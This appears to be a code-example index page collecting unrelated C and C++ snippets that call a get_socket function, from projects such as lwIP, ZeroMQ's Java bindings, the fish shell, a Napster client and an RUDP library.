      if ( sock->conn->type != NETCONN_TCP ) return 0;

      switch( optname ) {
      case TCP_NODELAY:
      case TCP_KEEPALIVE:
        break;
         
      default:
        LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_getsockopt(%d, IPPROTO_TCP, UNIMPL: optname=0x%x, ..)\n", s, optname));
        err = ENOPROTOOPT;
      }  /* switch */
      break;

/* UNDEFINED LEVEL */
  default:
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_getsockopt(%d, level=0x%x, UNIMPL: optname=0x%x, ..)\n", s, level, optname));
      err = ENOPROTOOPT;
  }  /* switch */

   
  if( 0 != err ) {
    sock_set_errno(sock, err);
    return -1;
  }
   


  /* Now do the actual option processing */

  switch(level) {
   
/* Level: SOL_SOCKET */
  case SOL_SOCKET:
    switch( optname ) {

    /* The option flags */
    case SO_ACCEPTCONN:
    case SO_BROADCAST:
    /* UNIMPL case SO_DEBUG: */
    /* UNIMPL case SO_DONTROUTE: */
    case SO_KEEPALIVE:
    /* UNIMPL case SO_OOBINCLUDE: */
#if SO_REUSE
    case SO_REUSEADDR:
    case SO_REUSEPORT:
#endif /* SO_REUSE */
    /*case SO_USELOOPBACK: UNIMPL */
      *(int*)optval = sock->conn->pcb.tcp->so_options & optname;
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_getsockopt(%d, SOL_SOCKET, optname=0x%x, ..) = %s\n", s, optname, (*(int*)optval?"on":"off")));
      break;

    case SO_TYPE:
      switch (sock->conn->type) {
      case NETCONN_RAW:
        *(int*)optval = SOCK_RAW;
        break;
      case NETCONN_TCP:
        *(int*)optval = SOCK_STREAM;
        break;
      case NETCONN_UDP:
      case NETCONN_UDPLITE:
      case NETCONN_UDPNOCHKSUM:
        *(int*)optval = SOCK_DGRAM;
        break;
      default: /* unrecognized socket type */
        *(int*)optval = sock->conn->type;
        LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_getsockopt(%d, SOL_SOCKET, SO_TYPE): unrecognized socket type %d\n", s, *(int *)optval));
      }  /* switch */
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_getsockopt(%d, SOL_SOCKET, SO_TYPE) = %d\n", s, *(int *)optval));
      break;

    case SO_ERROR:
      *(int *)optval = sock->err;
      sock->err = 0;
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_getsockopt(%d, SOL_SOCKET, SO_ERROR) = %d\n", s, *(int *)optval));
      break;
    }  /* switch */
    break;

/* Level: IPPROTO_IP */
  case IPPROTO_IP:
    switch( optname ) {
    case IP_TTL:
      *(int*)optval = sock->conn->pcb.tcp->ttl;
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_getsockopt(%d, IPPROTO_IP, IP_TTL) = %d\n", s, *(int *)optval));
      break;
    case IP_TOS:
      *(int*)optval = sock->conn->pcb.tcp->tos;
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_getsockopt(%d, IPPROTO_IP, IP_TOS) = %d\n", s, *(int *)optval));
      break;
    }  /* switch */
    break;

/* Level: IPPROTO_TCP */
  case IPPROTO_TCP:
    switch( optname ) {
    case TCP_NODELAY:
      *(int*)optval = (sock->conn->pcb.tcp->flags & TF_NODELAY);
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_getsockopt(%d, IPPROTO_TCP, TCP_NODELAY) = %s\n", s, (*(int*)optval)?"on":"off") );
      break;
    case TCP_KEEPALIVE:
      *(int*)optval = (int)sock->conn->pcb.tcp->keepalive;
      LWIP_DEBUGF(SOCKETS_DEBUG, ("lwip_getsockopt(%d, IPPROTO_IP, TCP_KEEPALIVE) = %d\n", s, *(int *)optval));
      break;
    }  /* switch */
    break;
  }


  sock_set_errno(sock, err);
  return err ? -1 : 0;
}
Beispiel #17
0
int main(int argc, char *argv[]) {

    const int num_args = 7;
    char name[NAME_LEN + 1], host[HOST_LEN + 1], port[PORT_LEN + 1];
    int ch;

    if (argc != num_args) { return usage(); }

    while ((ch = getopt(argc, argv, "n:h:p:")) != -1) {
        switch (ch) {
        case 'n': { strncpy(name, optarg, NAME_LEN); break; }
        case 'h': { strncpy(host, optarg, HOST_LEN); break; }
        case 'p': { strncpy(port, optarg, PORT_LEN); break; }
        default: { return usage(); }
        }
    }
    if (optind != num_args) { return usage(); }

    name[NAME_LEN] = '\0';
    host[HOST_LEN] = '\0';
    port[PORT_LEN] = '\0';

    signal(SIGINT, &quit_game);

    int sock = get_socket(host, port);
    if (sock == -1) {
        fprintf(stderr, "async: could not connect to `%s:%s`\n", host, port);
        return 1;
    }
    int sp = dup(sock);
    printf("%d\n", sp);
    pp = fdopen(sp, "r");
    printf("%p\n", pp);
    FILE *io = fdopen(sock, "r+");
    if (io == NULL) {
        fprintf(stderr, "async: could not open socket\n");
        return 1;
    }
    
    game.io = io;
    game.name = malloc(sizeof(char) * (strlen(name) + 1));
    strcpy(game.name, name);
    
    printf("async: joining server `%s:%s` with name `%s`\n",
                host, port, game.name);
    
    if (!send_name()) {
        fprintf(stderr, "async: could not send name to server\n");
        return 1;
    }

    if (!receive_id()) {
        fprintf(stderr, "async: could not receive player id from server\n");
        return 1;
    }

    if (!download_map()) {
        fprintf(stderr, "async: could not download map\n");
        return 1;
    } else {
        printf("async: downloaded map, `%lu` bytes\n", strlen(game.map));
    }
    game.player_loc.x = game.width / 2;
    game.player_loc.y = game.height / 2;
    game.player_dir = NORTH;
    
    pthread_create(&listener_thread, NULL, &game_listener, NULL);
    pthread_detach(listener_thread);
    
    run_game();    

    return 0;
}
Beispiel #18
0
/**
 * Called by Java's Socket::setLongSockopt(int option, long value).
 */
JNIEXPORT void JNICALL Java_org_zeromq_ZMQ_00024Socket_setLongSockopt (JNIEnv *env,
                                                                       jobject obj,
                                                                       jint option,
                                                                       jlong value)
{
    switch (option) {
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(3,0,0)
    case ZMQ_BACKLOG:
    case ZMQ_MAXMSGSIZE:
    case ZMQ_SNDHWM:
    case ZMQ_RCVHWM:
    case ZMQ_MULTICAST_HOPS:
#else
    case ZMQ_HWM:
    case ZMQ_SWAP:
    case ZMQ_MCAST_LOOP:
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,2,0)
    case ZMQ_RCVTIMEO:
    case ZMQ_SNDTIMEO:
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,1,10)
    case ZMQ_RECONNECT_IVL:
    case ZMQ_RECONNECT_IVL_MAX:
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,1,0)
    case ZMQ_LINGER:
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(3,2,0)
    case ZMQ_TCP_KEEPALIVE:
    case ZMQ_TCP_KEEPALIVE_IDLE:
    case ZMQ_TCP_KEEPALIVE_CNT:
    case ZMQ_TCP_KEEPALIVE_INTVL:
    case ZMQ_DELAY_ATTACH_ON_CONNECT:
    case ZMQ_IPV4ONLY:
    case ZMQ_ROUTER_MANDATORY:
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(3,2,2)
    case ZMQ_XPUB_VERBOSE:
#endif
    case ZMQ_AFFINITY:
    case ZMQ_RATE:
    case ZMQ_RECOVERY_IVL:
    case ZMQ_SNDBUF:
    case ZMQ_RCVBUF:
        {
            void *s = get_socket (env, obj);
            int rc = 0;
            int err = 0;

#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,1,0)
            if(
                (option == ZMQ_LINGER)
                || (option == ZMQ_RATE)
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,1,10)
                || (option == ZMQ_RECONNECT_IVL)
                || (option == ZMQ_RECONNECT_IVL_MAX)
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,2,0)
                || (option == ZMQ_SNDTIMEO)
                || (option == ZMQ_RCVTIMEO)
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(3,2,0)
                || (option == ZMQ_TCP_KEEPALIVE)
                || (option == ZMQ_TCP_KEEPALIVE_IDLE)
                || (option == ZMQ_TCP_KEEPALIVE_CNT)
                || (option == ZMQ_TCP_KEEPALIVE_INTVL)
                || (option == ZMQ_DELAY_ATTACH_ON_CONNECT)
                || (option == ZMQ_IPV4ONLY)
                || (option == ZMQ_ROUTER_MANDATORY)
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(3,2,2)
                || (option == ZMQ_XPUB_VERBOSE)
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(3,0,0)
                || (option == ZMQ_SNDBUF)
                || (option == ZMQ_RCVBUF)
                || (option == ZMQ_SNDHWM)
                || (option == ZMQ_RCVHWM)
                || (option == ZMQ_RECOVERY_IVL)
                || (option == ZMQ_BACKLOG)
                || (option == ZMQ_MULTICAST_HOPS)
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,1,0)    
            ) {
                int ival = (int) value;
                size_t optvallen = sizeof(ival);
                rc = zmq_setsockopt (s, option, &ival, optvallen);
            } else
#endif
            {
                uint64_t optval = (uint64_t) value;
                size_t optvallen = sizeof(optval);
                rc = zmq_setsockopt (s, option, &optval, optvallen);
            }
            err = zmq_errno();

            if (rc != 0 && err != ETERM) {
                raise_exception (env, err);
            }
            return;
        }
    default:
        raise_exception (env, EINVAL);
        return;
    }
}
Beispiel #19
0
/**
 * Called by Java's Socket::send(byte [] msg, int flags).
 */
JNIEXPORT jboolean JNICALL Java_org_zeromq_ZMQ_00024Socket_send (JNIEnv *env,
                                                                 jobject obj,
                                                                 jbyteArray msg,
                                                                 jint flags)
{
    void *s = get_socket (env, obj, 1);

    jsize size = env->GetArrayLength (msg); 
    zmq_msg_t message;
    int rc = zmq_msg_init_size (&message, size);
    int err = zmq_errno();
    if (rc != 0) {
        raise_exception (env, err);
        return JNI_FALSE;
    }

    jbyte *data = env->GetByteArrayElements (msg, 0);
    if (! data) {
        raise_exception (env, EINVAL);
        return JNI_FALSE;
    }

    memcpy (zmq_msg_data (&message), data, size);
    env->ReleaseByteArrayElements (msg, data, 0);
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(3,0,0)
    rc = zmq_sendmsg (s, &message, flags);
#else
    rc = zmq_send (s, &message, flags);
#endif
    err = zmq_errno();
        
    if (rc < 0 && err == EAGAIN) {
        rc = zmq_msg_close (&message);
        err = zmq_errno();
        if (rc != 0) {
            raise_exception (env, err);
            return JNI_FALSE;
        }
        return JNI_FALSE;
    }
    
    if (rc < 0) {
        raise_exception (env, err);
        rc = zmq_msg_close (&message);
        err = zmq_errno();
        if (rc != 0) {
            raise_exception (env, err);
            return JNI_FALSE;
        }
        return JNI_FALSE;
    }

    rc = zmq_msg_close (&message);
    err = zmq_errno();
    if (rc != 0) {
        raise_exception (env, err);
        return JNI_FALSE;
    }

    return JNI_TRUE;
}
Beispiel #20
0
/**
 * Called by Java's Socket::getLongSockopt(int option).
 */
JNIEXPORT jlong JNICALL Java_org_zeromq_ZMQ_00024Socket_getLongSockopt (JNIEnv *env,
                                                                        jobject obj,
                                                                        jint option)
{
    switch (option) {
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(3,0,0)
    case ZMQ_BACKLOG:
    case ZMQ_MAXMSGSIZE:
    case ZMQ_SNDHWM:
    case ZMQ_RCVHWM:
    case ZMQ_MULTICAST_HOPS:
#else
    case ZMQ_HWM:
    case ZMQ_SWAP:
    case ZMQ_MCAST_LOOP:
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,2,0)
    case ZMQ_RCVTIMEO:
    case ZMQ_SNDTIMEO:
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,1,10)
    case ZMQ_RECONNECT_IVL:
    case ZMQ_RECONNECT_IVL_MAX:
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(2,1,0)
    case ZMQ_TYPE:
    case ZMQ_FD:
    case ZMQ_EVENTS:
    case ZMQ_LINGER:
#endif
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(3,2,0)
    case ZMQ_TCP_KEEPALIVE:
    case ZMQ_TCP_KEEPALIVE_IDLE:
    case ZMQ_TCP_KEEPALIVE_CNT:
    case ZMQ_TCP_KEEPALIVE_INTVL:
    case ZMQ_DELAY_ATTACH_ON_CONNECT:
    case ZMQ_IPV4ONLY:
#endif
    case ZMQ_AFFINITY:
    case ZMQ_RATE:
    case ZMQ_RECOVERY_IVL:
    case ZMQ_SNDBUF:
    case ZMQ_RCVBUF:
    case ZMQ_RCVMORE:
        {
            void *s = get_socket (env, obj);
            jlong ret = 0;
            int rc = 0;
            int err = 0;
#if ZMQ_VERSION >= ZMQ_MAKE_VERSION(3,2,0)
            if(
                   (option == ZMQ_TCP_KEEPALIVE)
                || (option == ZMQ_TCP_KEEPALIVE_IDLE)
                || (option == ZMQ_TCP_KEEPALIVE_CNT)
                || (option == ZMQ_TCP_KEEPALIVE_INTVL)
                || (option == ZMQ_DELAY_ATTACH_ON_CONNECT)
                || (option == ZMQ_IPV4ONLY)
            ) {
                int optval = 0;
                size_t optvallen = sizeof(optval);
                rc = zmq_getsockopt (s, option, &optval, &optvallen);
                ret = (jlong) optval;
            } else
#endif
            {
                uint64_t optval = 0; 
                size_t optvallen = sizeof(optval);
                rc = zmq_getsockopt (s, option, &optval, &optvallen);
                ret = (jlong) optval;
            }
            err = zmq_errno();

            if (rc != 0) {
                raise_exception (env, err);
                return 0L;
            }
            return ret;
        }
    default:
        raise_exception (env, EINVAL);
        return 0L;
    }
}
Beispiel #21
0
 void close_handle( )
 {
     get_socket( ).close( );
 }
Beispiel #22
0
int main (int argc, char *argv[])
{
    int sd, ci, backlog = MAX_BACKLOG;
    short port = PORTNUM;

    if (argc > 1)
        ncons = atoi (argv[1]);

    /* decrease stack size, non-privilged operation */
    /*    shrink_stack (STACK_SIZE); not needed for parent */

    /* increase maximum number of file descriptors, must be root! */
    /* a few extra, for 0, 1, 2 etc. */
    check_and_set_max_fd (ncons + 8);

    cd = malloc (ncons * sizeof (int));
    isopen = malloc (ncons * sizeof (int));
    pid = malloc (ncons * sizeof (pid_t));
    gethostname (hostname, 128);

    signal (SIGCHLD, cleanupkids);

    /* open an internet tcp stream socket */
    /* socket, setsockopt for reuse, bind, listen; */

    sd = get_socket (port, backlog);

    for (ci = 0; ci < ncons; ci++)
        isopen[ci] = 0;

    for (;;) {

        /* accept new connection only if less than
           the maximum is there */
        while (nopen == ncons) {
            /* reap any children; there may be a
               race condition or signal pileup! */
            cleanupkids (SIGCHLD);
        }

        /*  find the first open one */

        ci = accept_one (sd, isopen, cd, ncons);
        isopen[ci] = 1;
        nopen++;
        printf ("connection accepted (cd[%2d] = %2d), nopen = %2d\n",
                ci, cd[ci], nopen);
        fflush (stdout);

        /* fork off a child to handle the connection */

        pid[ci] = fork ();
        if (pid[ci] < 0)
            DEATH ("Forking");

        if (pid[ci] == 0) {     /* child */

            /* decrease stack size, non-privilged operation */
            shrink_stack (STACK_SIZE);
            /* can set back for kids */
            set_max_fd (16);

            while (!handle_client (cd[ci])) ;
            terminate_client (ci);
        } else {                /* parent */
            printf (" I forked for ci=%d, pid=%d\n", ci, pid[ci]);
            fflush (stdout);
        }
    }

    close (sd);
    free (isopen);
    free (cd);
    exit (EXIT_SUCCESS);
}
Beispiel #23
0
void napfile_sendfile(int snum)
{
GetFile *gf;
unsigned char buffer[3*BIG_BUFFER_SIZE+1];
int rc, numread;
int flag = NORMAL_FINISH;
SocketList *s;

	if (!(s = get_socket(snum)) || !(gf = (GetFile *)s->info))
	{
		put_it("error get_socket(%d)", snum);
		nap_finished_file(snum, PREMATURE_FINISH);
		return;
	}
	if (gf->deleted)
	{
		if (gf->write != -1)
			close(gf->write);
		gf->write = -1;
		if (gf->deleted++ > 5)
			close_socketread(snum);
		return;
	}
	numread = read(gf->write, buffer, 2*BIG_BUFFER_SIZE);
	switch(numread)
	{
		case -1:
			flag = PREMATURE_FINISH;
			if (do_hook(NAPERROR_LIST, "%s %lu %lu \"%s\"", gf->nick, gf->received+gf->resume, gf->filesize, gf->filename) && !get_int_var(QUIET_SENDS_VAR))
				put_it("* Error sending %s (%lu/%lu) to %s ", gf->nick, gf->received+gf->resume, gf->filesize, base_name(gf->filename));
			break_from_list((List **)&transfer_struct, (List *)gf);
			close(gf->write);
			gf->write = -1;
			nap_finished_file(snum, flag);
			build_status(current_window, NULL, 0);
			send_ncommand(CMDS_UPDATE_SEND, NULL);
			return;
		case 0:
		{
			break_from_list((List **)&transfer_struct, (List *)gf);
			if ((gf->received + gf->resume) >= gf->filesize)
			{
				double speed;
				char speed1[80];
				time_t length;
				if (!(length = now - gf->starttime))
					length = 1;
				shared_stats.files_served++;
				shared_stats.filesize_served += gf->received;
				speed = gf->received / 1024.0 / length;
				if (speed > shared_stats.max_uploadspeed)
				{
					shared_stats.max_uploadspeed = speed;
					malloc_strcpy(&shared_stats.max_uploadspeed_nick, gf->nick);
				}
				sprintf(speed1, "%4.2fK/s", speed);
				if (do_hook(NAPFINISH_LIST, "%s %lu \"%s\"", gf->nick, gf->filesize, gf->filename) && !get_int_var(QUIET_SENDS_VAR))
					put_it("* Finished Sending %s (%s) [%s] at %s", gf->nick, longcomma(gf->filesize), base_name(gf->filename), speed1);
			}
			else 
			{
				flag = PREMATURE_FINISH;
				if (do_hook(NAPERROR_LIST, "%s %lu %lu \"%s\"", gf->nick, gf->received+gf->resume, gf->filesize, gf->filename) && !get_int_var(QUIET_SENDS_VAR))
					put_it("* Error sending %s (%lu/%lu) to %s ", gf->nick, gf->received+gf->resume, gf->filesize, base_name(gf->filename));
			}
			close(gf->write);
			gf->write = -1;
			nap_finished_file(snum, flag);
			build_status(current_window, NULL, 0);
			send_ncommand(CMDS_UPDATE_SEND, NULL);
			return;
		}
		default:
		{
			alarm(2);
			rc = send(snum, buffer, numread, 0);
			alarm(0);
			if (rc == -1)
			{
				if (errno == EWOULDBLOCK || errno == ENOBUFS || errno == EDEADLK)
					lseek(gf->write, -numread, SEEK_CUR);
				else
				{
					break_from_list((List **)&transfer_struct, (List *)gf);
					if (do_hook(NAPERROR_LIST, "%s %lu %lu \"%s\"", gf->nick, gf->received+gf->resume, gf->filesize, gf->filename) && !get_int_var(QUIET_SENDS_VAR))
						put_it("* Error sending %s (%lu/%lu) %s", gf->nick, gf->received+gf->resume, gf->filesize, base_name(gf->filename));
					close(gf->write);
					gf->write = -1;
					nap_finished_file(snum, PREMATURE_FINISH);
					build_status(current_window, NULL, 0);
					send_ncommand(CMDS_UPDATE_SEND, NULL);
				}
				return;
			}
			if (rc != numread)
				lseek(gf->write, -(numread - rc), SEEK_CUR);
			gf->received += rc;
			if (!(gf->received % (10 * (2*BIG_BUFFER_SIZE))))
				build_status(current_window, NULL, 0);
		}
	}
}
Beispiel #24
0
		~socket() {
			get_socket().close();
		}
/**
   Get a socket for reading from the server
*/
static int get_socket( int fork_ok )
{
	int s, len;
	struct sockaddr_un local;
	
	char *name;
	wchar_t *wdir;
	wchar_t *wuname;	
	char *dir =0, *uname=0;

	get_socket_count++;
	wdir = path;
	wuname = user;
	
	if ((s = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) 
	{
		wperror(L"socket");
		return -1;
	}
	
	if( wdir )
		dir = wcs2str(wdir );
	else
		dir = strdup("/tmp");
	
	if( wuname )
		uname = wcs2str(wuname );
	else
	{
		struct passwd *pw;
		pw = getpwuid( getuid() );
		uname = strdup( pw->pw_name );
	}
	
	name = (char *)malloc( strlen(dir) +
				   strlen(uname) + 
				   strlen(SOCK_FILENAME) + 
				   2 );
	
	strcpy( name, dir );
	strcat( name, "/" );
	strcat( name, SOCK_FILENAME );
	strcat( name, uname );
	
	free( dir );
	free( uname );
	
	debug( 3, L"Connect to socket %s at fd %2", name, s );
	
	local.sun_family = AF_UNIX;
	strcpy(local.sun_path, name );
	free( name );
	len = sizeof(local);
	
	if( connect( s, (struct sockaddr *)&local, len) == -1 ) 
	{
		close( s );
		if( fork_ok && start_fishd )
		{
			debug( 2, L"Could not connect to socket %d, starting fishd", s );
			
			start_fishd();
									
			return get_socket( 0 );
		}
		
		debug( 1, L"Could not connect to universal variable server, already tried manual restart (or no command supplied). You will not be able to share variable values between fish sessions. Is fish properly installed?" );
		return -1;
	}
	
	if( (fcntl( s, F_SETFL, O_NONBLOCK ) != 0) || (fcntl( s, F_SETFD, FD_CLOEXEC ) != 0) ) 
	{
		wperror( L"fcntl" );
		close( s );		
		
		return -1;
	}

	debug( 3, L"Connected to fd %d", s );
	
	return s;
}
Beispiel #26
0
		virtual void write_with_timeout(std::vector<char> &buf, boost::posix_time::seconds timeout) {
			socketHelpers::io::write_with_timeout(*socket_, get_socket(), boost::asio::buffer(buf), timeout);
		}
Beispiel #27
0
int server_start(int lockfd)
{
        int errsv;
        int new_fd;
        int sock;
        pid_t pid;
        socklen_t addr_size;
        struct addrinfo *p = NULL;
        struct sockaddr_storage their_addr;
        char address[NI_MAXHOST];
        char buf[sizeof(long)];

        /* get addresses */
        get_addresses(&p);

        /* attempt bind to each address */
        do {
                getnameinfo(p->ai_addr, p->ai_addrlen, address, NI_MAXHOST,
                        NULL, 0, NI_NUMERICSERV);
                syslog(LOG_DEBUG, "Binding to %s", address);
                sock = get_socket(p); /* get a socket and bind */
                if (sock != -1) break;
                p = p->ai_next;
        } while (p != NULL);

        freeaddrinfo(p);

        if (sock == -1) {
                syslog(LOG_ERR, "Failed to bind.  Exiting");
                _exit(EXIT_FAILURE);
        }

        /* listening */
        if (listen(sock, BACKLOG) == 0) {
                syslog(LOG_INFO, "Listening on [%s]:%li", address,config->port);
        }
        else {
                errsv = errno;
                fprintf(stderr, "ERROR: %s\n", strerror(errsv));
                syslog(LOG_ERR, "Failed to listen on [%s]:%li  Exiting.",
                                address, config->port);
                free_config();
                _exit(EXIT_FAILURE);
        }

        /* drop privileges */
        if (config->dropprivs) {
                gid_t newgid = getgid();
                setgroups(1, &newgid);
                if (setuid(getuid()) != 0) {
                        fprintf(stderr,
                        "ERROR: Failed to drop root privileges.  Exiting.\n");
                        exit(EXIT_FAILURE);
                }
                /* verify privileges cannot be restored */
                if (setuid(0) != -1) {
                        fprintf(stderr,
                        "ERROR: Regained root privileges.  Exiting.\n");
                        exit(EXIT_FAILURE);
                }
        }

        addr_size = sizeof their_addr;

        /* daemonize */
        if (config->daemon == 0) {
                if (daemon(0, 0) == -1) {
                        errsv = errno;
                        fprintf(stderr, "ERROR: %s\n", strerror(errsv));
                        syslog(LOG_ERR, "Failed to daemonize. Exiting.");
                        free_config();
                        exit(EXIT_FAILURE);
                }
        }

        /* write pid to lockfile */
        snprintf(buf, sizeof(long), "%ld\n", (long) getpid());
        if (write(lockfd, buf, strlen(buf)) != strlen(buf)) {
                fprintf(stderr, "Error writing to pidfile\n");
                exit(EXIT_FAILURE);
        }

        /* install exit handler to kill child procs */
        atexit(killhandlerprocs);

        for (;;) {
                /* incoming! */
                ++hits;
                new_fd = accept(sock, (struct sockaddr *)&their_addr,
                                &addr_size);
                pid = fork(); /* fork new process to handle connection */
                if (pid == -1) {
                        /* fork failed */
                        close(new_fd);
                        close(sock);
                        return -1;
                }
                else if (pid == 0) {
                        /* let the children play */
                        close(sock); /* children never listen */
                        handle_connection(new_fd, their_addr);
                }
                else {
                        /* parent can close connection */
                        handler_procs++;
                        close(new_fd);
                }
        }
}
Beispiel #28
0
void RUDPObject::process(IRUDPAdapter* adapter, BinStream& strm, const Inet_Addr& remote_addr)
{
	uint8_t index = INVALID_ADAPTER_INDEX; 
	if(adapter != NULL)
		index = adapter->get_index();

	if(adapter_array_[index] == NULL)
	{
		RUDP_FATAL("adapter is not attach!!!");
		return ;
	}

	PARSE_RUDP_HEAD(rudp_head, "parse rudp head failed!!");

	RUDPSocket *rudp_session = get_socket(rudp_head.remote_rudp_id_);
	if(rudp_session != NULL)
	{
		rudp_session->process(rudp_head.msg_id_, rudp_head.check_sum_, strm, remote_addr);
		return ;
	}

	//处理SYN连接请求
	if(rudp_head.msg_id_ == RUDP_SYN && rudp_head.remote_rudp_id_ == INVALID_RUDP_HANDLE)
	{
		PARSE_RUDP_MESSAGE(strm, RUDPSynPacket, syn, "parse syn failed!");

		//在半开连接中找
		rudp_session = find_by_peer_id(syn.local_rudp_id_, remote_addr);
		if(rudp_session == NULL)
		{
			int32_t new_rudp_id = create_socket();
			if(new_rudp_id == INVALID_RUDP_HANDLE)
			{
				send_syn2(rudp_head.remote_rudp_id_, SYSTEM_SYN_ERROR, rudp_head.check_sum_, remote_addr, adapter);
				RUDP_INFO("send syn2 to " << remote_addr);
				return ;
			}

			if(this->bind(new_rudp_id, adapter->get_local_addr()) != 0)
			{
				free_sockets(new_rudp_id);

				send_syn2(rudp_head.remote_rudp_id_, SYSTEM_SYN_ERROR, rudp_head.check_sum_, remote_addr, adapter);
				RUDP_INFO("send syn2 to " << remote_addr);
				return ;
			}

			//建立远程SOCKET ID与本地SOCKET ID的关系,防止重复建立连接
			RUDPPeerInfo info(syn.local_rudp_id_, remote_addr);
			peer_socket_ids_[info] = new_rudp_id;

			rudp_session = get_socket(new_rudp_id);
			rudp_session->set_check_sum(rudp_head.check_sum_);

			//提示上层EVENT HANDLE进行ACCEPT,可以在上层进行SOCKET属性设置
			if(listener_ != NULL)
				listener_->rudp_accept_event(new_rudp_id);
		}

		//进行消息处理
		rudp_session->process_syn(syn, remote_addr);
	}
	else
	{
		RUDP_WARNING("error msg, msg id =  " << (uint16_t)rudp_head.msg_id_ << ", rudp id = " << rudp_head.remote_rudp_id_ << ", remote addr = "<< remote_addr);
	}
}
Beispiel #29
0
 fc::ip::endpoint get_remote_endpoint()const 
 { return get_socket().get_remote_endpoint(); }
Beispiel #30
0
int irc_connect(irc_t *irc) {
    irc->s =  get_socket();
    return irc->s;
}